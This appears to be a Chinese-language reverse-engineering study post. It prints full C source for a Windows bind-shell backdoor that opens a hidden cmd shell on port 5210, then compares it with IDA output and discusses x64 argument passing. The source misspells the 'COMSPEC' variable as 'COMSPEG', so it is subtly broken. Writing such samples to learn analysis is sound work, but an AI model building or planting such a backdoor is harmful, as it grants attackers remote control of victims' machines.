提高样本分析能力,最重要的事情之一就是先正向编写木马。之前简单编译过一个程序,今天搜了一个非常简单的后门,比较一下反编译的结果和源码的区别。
源码如下。
#pragma comment(lib,"ws2_32.lib") //这里我们静态加入一个lib文件,也就是ws2_32.lib</font>
#pragma comment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"") //设置连接器选项
#include <winsock2.h> //包含头文件winsock2.h,这个是 windows socket的头文件
#include <windows.h> //常用的,不解释
#define MasterPort 5210 //定义一个常量,也就是我们后面要打开的端口
main() //主函数不解释
{
WSADATA WSADa; //这个结构被用来存储被WSAStartup函数调用后返回的Windows Sockets数据。后面的基本上差不多就不解释,不懂请大家自行百度
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
//分配内存,初始化数据
ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
ZeroMemory(&WSADa,sizeof(WSADATA));
//获取cmd路径
GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll
WSAStartup(0x0202,&WSADa);
//设置本地信息和绑定协议,建立socket,代码如下:
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//设置绑定端口,将SockAddrIn绑定到CSocket。
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
//设置服务器端监听端口
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
//开始连接远程服务器,并配置隐藏窗口结构体
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道:
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄:
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
return 0;
}
实际IDA反编译出来的效果如下:
可以看到反编译的结果,库的导入和局部变量的定义是没有的,应该是编译过程中,在链接操作之前这些就已经执行完成了。
简单来说这个程序的功能就是开放5210端口,并监听。然后把输入重定向到新起cmd进程,并把cmd进程的输出重定向到5210端口。
对64位下传参的测试
传4个参数及以下,使用的是寄存器传参,cd89,第一个参数传到c,第二个参数传到d,第三个参数传到8,第四个参数传到9。从顺序上来看,从右往左,先从第四个开始传,再从第三个开始传…
传5个参数及以上,前四个使用寄存器传参,从第五个开始使用堆栈传参(上图是传完了之后的结果,汇编侧可以看到寄存器的使用)。可以看到第五个参数先使用了寄存器将参数从rbp-14h中取出来(寻址方式。反映变化趋势的方面,栈由高地址向低地址生长,参数由低地址向高地址生长。x64dbg的上面是栈顶低地址下面是栈底高地址)。
然后又赋给了rsp+20,最后把eax中存放的第一个参数赋给ecx。
比较奇怪的是为什么不在栈顶。
基础知识
- StartupInfo结构体,主要用于创建新进程时,指定该进程的主窗口特性。主要指定窗口显示状态、窗口位置和大小、窗口标题和其他属性。
- 获取cmd的绝对路径可以使用GetEnvironmentVariableA(“COMSPEC”, Buffer, 0xFFu)。
- C语言的强制类型转换:(typename) expression,typename为新类型名称,expression为表达式。
- 返回地址的存储,因为是由主调函数进行的压栈操作,所以x64dbg的栈区分,将存储返回地址的部分算作上一个栈。
- UTF-8 是 Unicode 的实现方式之一。